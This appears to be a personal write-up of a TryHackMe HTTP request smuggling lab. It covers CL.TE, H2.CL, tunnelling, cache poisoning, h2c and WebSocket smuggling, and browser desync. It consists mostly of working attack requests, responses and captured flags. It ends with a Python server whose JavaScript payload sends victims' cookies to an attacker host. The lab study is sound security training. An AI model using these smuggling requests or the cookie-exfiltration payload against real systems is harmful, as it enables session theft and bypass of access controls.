Basic
ATS (Apache Traffic Server).
Attack request:
POST / HTTP/1.1
Host: httprequestsmuggling.thm
Content-Length: 160
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /contact.php HTTP/1.1
Host: httprequestsmuggling.thm
Content-Type: application/x-www-form-urlencoded
Content-Length: 500
username=test&query=§
Submission that has user’s password:
Name: test
Query: GET /login.php?password=C4Ny0UsMu66L3 HTTP/1.1
Host: linkednginx.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip
X-Forwarded-For: 172.25.0.1
Via: http/1.1 buildkitsandbox[cdaa64ef-f084-45a9-9f6a-
Success
THM{1c4N_$mU66l3!!}
HTTP/2
Varnish proxy.
Info
CRLF injection is not restricted to HTTP/2 headers only. Any place where you send a
\r\n
that potentially ends up in the HTTP/1.1 request could potentially achieve the same results.
We will use the H2.CL vulnerability to force other users to like our post.
POST / HTTP/2
Host: 10.10.38.110:8000
Cookie: sessid=ba89f897ef7f68752abc
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://10.10.38.110:8000/post/12315198742342
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Length: 0
GET /post/like/12315198742342 HTTP/1.1
Foo: x
<div class="p subtext">Liked by: Hackalaka, John Hax0r, THM{my_name_is_a_flag}</div>
Success
THM{my_name_is_a_flag}
Tunneling
Leaking Internal Headers
HAProxy, vulnerable to CVE-2019-19330.
Baseline request:
POST /hello HTTP/2
Host: 10.10.38.110:8100
Cookie: sessid=ba89f897ef7f68752abc
Content-Length: 3
q=a
Header value:
bar
Host: 10.10.38.110:8100
POST /hello HTTP/1.1
Host: 10.10.38.110:8100
Content-Length: 300
Content-Type: application/x-www-form-urlencoded
q=
Duplicate the request and send in a single connection:
<p>Your search for
host: app2
cookie: sessid=ba89f897ef7f68752abc
x-thm-flag: THM{not_secret_anymore}
POST /hello HTTP/1.1
content-type: application/x-www-form-urlencoded
content-length: 0
foo: bar
Host: 10.10.38.110:8100
POST /hello HTTP/1.1
Host: 10.10.38.110:8100
Content-Length: 300
Content-Type: did not match any documents.</p>
Success
THM{not_secret_anymore}
Bypassing Frontend Restrictions
Info
There’s a fundamental difference on how GET and POST requests are treated by a proxy. If a proxy implements caching, a GET request may be served from the proxy’s cache, so nothing will be forwarded to the backend server and the attack may fail. A POST request, on the other hand, is normally not served from cache, so it is guaranteed that it will be forwarded to the backend.
Header value:
bar
Host: 10.10.38.110:8100
Content-Length: 0
GET / HTTP/1.1
X: x
Send twice:
HTTP/2 200 OK
Server: nginx/1.23.2
Date: Fri, 27 Sep 2024 16:04:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 15
THM{staff_only}
Success
THM{staff_only}
Web Cache Poisoning
Header value:
bar
Host: 10.10.238.20:8100
GET /static/uploads/myjs.js HTTP/1.1
Receive cookie:
$ python https.py
/root/tryhackme/smuggling/https.py:4: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
httpd.socket = ssl.wrap_socket(
10.10.238.20 - - [28/Sep/2024 11:26:19] code 501, message Unsupported method ('GET')
10.10.238.20 - - [28/Sep/2024 11:26:19] "GET /?c=flag=THM{nom_nom_cookies} HTTP/1.1" 501 -
Success
THM{nom_nom_cookies}
h2c
Two ways to negotiate HTTP/2:
- h2: Protocol used when running HTTP/2 over a TLS-encrypted channel. It relies on the Application Layer Protocol Negotiation (ALPN) mechanism of TLS to offer HTTP/2.
- h2c: HTTP/2 over cleartext channels. This would be used when encryption is not available. Since ALPN is a feature of TLS, you can’t use it in cleartext channels. In this case, the client sends an initial HTTP/1.1 request with a couple of added headers to request an upgrade to HTTP/2. If the server acknowledges the additional headers, the connection is upgraded to HTTP/2.
When an HTTP/1.1 connection upgrade is attempted via some reverse proxies, they will directly forward the upgrade headers to the backend server instead of handling it themselves.
Since connections in HTTP/2 are persistent by default, we should be able to send other HTTP/2 requests, which will now go directly to the backend server through the HTTP/2 tunnel. This technique is known as h2c smuggling.
Some proxies are aware of h2c and could try to handle the connection upgrade themselves. When facing an h2c-aware proxy, there’s still a chance to get h2c smuggling to work under a specific scenario. If the frontend proxy supports HTTP/1.1 over TLS, we can try performing the h2c upgrade over the TLS channel. This is an unusual request, since h2c is defined to work under cleartext channels only. The proxy may just forward the upgrade headers instead of handling the upgrade directly.
Note
Note that h2c smuggling only allows for request tunnelling. Poisoning other users’ connections won’t be possible.
Tool: github.com/BishopFox/h2csmuggler.
Lab: HAProxy.
user@attackbox$ python3 h2csmuggler.py -x https://10.10.238.20:8200/ https://10.10.238.20:8200/private
Where /private
is the private endpoint that we need to access by bypassing the proxy.
Output:
$ python3 h2csmuggler.py -x https://10.10.238.20:8200/ https://10.10.238.20:8200/private
/root/h2csmuggler/h2csmuggler.py:49: DeprecationWarning: ssl.wrap_socket() is deprecated, use SSLContext.wrap_socket()
retSock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS)
[INFO] h2c stream established successfully.
:status: 200
content-type: text/html; charset=utf-8
content-length: 157
date: Sat, 28 Sep 2024 05:32:41 GMT
<html><body>Welcome to our intranet. The <a href='/private'>private</a> part of the application can only be accessed from the internal network.</body></html>
[INFO] Requesting - /private
:status: 200
content-type: text/plain; charset=utf-8
content-length: 27
date: Sat, 28 Sep 2024 05:32:42 GMT
THM{walls_are_a_suggestion}
Success
THM{walls_are_a_suggestion}
WebSockets
To smuggle requests through a vulnerable proxy, we can create a malformed request such that the proxy thinks a WebSocket upgrade is performed, but the backend server doesn’t really upgrade the connection. This will force the proxy into establishing a tunnel between client and server that will go unchecked since it assumes it is now a WebSocket connection, but the backend will still expect HTTP traffic.
One way to force this is to send an upgrade request with an invalid Sec-Websocket-Version
header.
Some proxies may assume that the upgrade is always completed, regardless of the server response.
Note
It is important to note that this technique won’t allow us to poison other users’ backend connections. We will be limited to tunnelling requests through the proxy only, so we can bypass any restrictions imposed by the frontend proxy by using this trick.
Lab 1: Proxy Does Not Check Back-end Server Responses
Lab 1: Varnish proxy.
Request to /flag
:
HTTP/1.1 404 Not found
Date: Sat, 28 Sep 2024 05:42:45 GMT
Server: Varnish
X-Varnish: 16
Content-Type: text/html; charset=utf-8
Retry-After: 5
Content-Length: 246
Connection: keep-alive
<!DOCTYPE html>
<html>
<head>
<title>404 Not found</title>
</head>
<body>
<h1>Error 404 Not found</h1>
<p>Not found</p>
<h3>Guru Meditation:</h3>
<p>XID: 16</p>
<hr>
<p>Varnish cache server</p>
</body>
</html>
Request to /404
:
HTTP/1.1 404 Not Found
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:43:28 GMT
Content-Length: 69
X-Varnish: 32782
Age: 0
Via: 1.1 varnish (Varnish/6.6)
Connection: keep-alive
<html><title>404: Not Found</title><body>404: Not Found</body></html>
As we can see, the Varnish proxy server rejects requests sent to /flag
endpoint.
Request to /socket
HTTP/1.1 400 Bad Request
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:44:13 GMT
Content-Length: 34
X-Varnish: 32785
Age: 0
Via: 1.1 varnish (Varnish/6.6)
Connection: keep-alive
Can "Upgrade" only to "WebSocket".
With invalid WebSocket version:
GET /socket HTTP/1.1
Host: 10.10.107.164:8001
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Version: 1337
HTTP/1.1 426 Upgrade Required
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:45:29 GMT
Sec-Websocket-Version: 7, 8, 13
Content-Length: 0
Attack request:
GET /socket HTTP/1.1
Host: 10.10.107.164:8001
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Version: 1337
GET /flag HTTP/1.1
Host: 10.10.107.164:8001
Remember to turn of Update Content-Length feature of Burp Suite.
HTTP/1.1 426 Upgrade Required
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:47:27 GMT
Sec-Websocket-Version: 7, 8, 13
Content-Length: 0
HTTP/1.1 200 OK
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 05:47:27 GMT
Etag: "7adcac5bd5ab8ceb7a0d5ab1bd741e5c794e3419"
Content-Length: 37
THM{bf208caddc31c6bb52621fdc2b3a73e5}
Success
THM{bf208caddc31c6bb52621fdc2b3a73e5}
Note that some proxies will not even require the existence of a WebSocket endpoint for this technique to work. All we need is to fool the proxy into believing we are establishing a connection to a WebSocket, even if this isn’t true.
GET / HTTP/1.1
Host: 10.10.107.164:8001
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Key: nf6dB8Pb/BLinZ7UexUXHg==
GET /flag HTTP/1.1
Host: 10.10.107.164:8001
Lab 2: Proxy Do Check Back-end Server Responses
Using the attack request of the previous lab:
GET /socket HTTP/1.1
Host: 10.10.107.164:8002
Connection: Upgrade
Upgrade: WebSocket
Sec-WebSocket-Key: 1337
GET /flag HTTP/1.1
Host: 10.10.107.164:8002
Response:
HTTP/1.1 426 Upgrade Required
Server: nginx/1.17.6
Date: Sat, 28 Sep 2024 05:53:21 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Sec-Websocket-Version: 7, 8, 13
HTTP/1.1 403 Forbidden
Server: nginx/1.17.6
Date: Sat, 28 Sep 2024 05:53:21 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body>
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
Since Nginx is checking the response code of the upgrade, it can determine that no valid WebSocket connection was established; therefore, it won’t allow us to smuggle the /flag
request.
We need to somehow force the backend web server to reply to our upgrade request with a fake 101 Switching Protocols
response without actually upgrading the connection in the backend.
If our target app has some vulnerability that allows us to proxy requests back to a server we control as attackers, we might be able to inject the 101 Switching Protocols
response to an arbitrary request.
There is a request used for checking connection to a specified URL:
GET /check-url?server=http://10.10.10.10/404 HTTP/1.1
Host: 10.10.107.164:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Referer: http://10.10.107.164:8002/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: keep-alive
Point server
param to our controlled listening netcat server on 10.13.57.143:5555
:
ncat -vnlp 5555
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.107.164:45206.
GET / HTTP/1.1
Host: 10.13.57.143:5555
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
The attack request:
GET /check-url?server=http://10.13.57.143:5555 HTTP/1.1
Host: 10.10.107.164:8002
Sec-WebSocket-Version: 13
Upgrade: WebSocket
Connection: Upgrade
GET /flag HTTP/1.1
Host: 10.10.107.164:8002
Response:
HTTP/1.1 101 Switching Protocols
Server: nginx/1.17.6
Date: Sat, 28 Sep 2024 06:27:41 GMT
Connection: upgrade
HTTP/1.1 200 OK
Server: TornadoServer/6.4
Content-Type: text/html; charset=UTF-8
Date: Sat, 28 Sep 2024 06:27:41 GMT
Etag: "e8869dddb67014f990c304663435d45a0226d755"
Content-Length: 37
THM{a87d4e5b777c010ed3266e59fb42ccac}
Success
THM{a87d4e5b777c010ed3266e59fb42ccac}
Browser Desync
Identify with this script:
fetch('http://challenge.thm/', {
method: 'POST',
body: 'GET /redirect HTTP/1.1\r\nFoo: x',
mode: 'cors'}
)
Confirmed after sending two requests:
GET http://challenge.thm/ 404 (NOT FOUND)
The request used for storing gadget:
POST /submit_contact HTTP/1.1
Host: challenge.thm
Content-Length: 18
Cache-Control: max-age=0
Origin: http://challenge.thm
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.thm/contact
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Connection: keep-alive
name=a&url=a%0D%0A
Payload for url
param:
<script>alert(1)</script>
It will be rendered on /securecontact
page like this:
<div class="success">
<script>alert(1)</script>
</div>
However, when access /vulnerablecontact
, the payload is rendered correctly:
<div class="data-container">
<script>alert(1)</script>
</div>
We will change payload into a form that can send requests to smuggle request:
<form id="btn" action="http://challenge.thm/"
method="POST"
enctype="text/plain">
<textarea name="GET http://10.13.57.143:1337 HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>
Where 10.13.57.143:1337
is our controlled server used for serving the malicous payload:
#!/usr/bin/python3
from http.server import BaseHTTPRequestHandler, HTTPServer
class ExploitHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write(b"fetch('http://10.13.57.143:9999/' + document.cookie)")
def run_server(port=1337):
server_address = ('', port)
httpd = HTTPServer(server_address, ExploitHandler)
print(f"Server running on port {port}")
httpd.serve_forever()
if __name__ == '__main__':
run_server()
URL encode the above form and place it in the url
param. The form will be rendered correctly on /vulnerablecontact
page.
The cookie will be sent to port 8080 so we need to listen on this port:
python -m http.server 9999
After a while, the server and the listener receive requests:
python .\server.py
Server running on port 1337
10.10.176.254 - - [28/Sep/2024 16:46:01] "GET / HTTP/1.1" 200 -
python -m http.server 9999
Serving HTTP on :: port 9999 (http://[::]:9999/) ...
::ffff:10.10.176.254 - - [28/Sep/2024 16:46:33] code 404, message File not found
::ffff:10.10.176.254 - - [28/Sep/2024 16:46:33] "GET /flag=THM%7BSMUGGLING_IS_FUN%7D HTTP/1.1" 404 -
The flag is:
Success
THM{SMUGGLING_IS_FUN}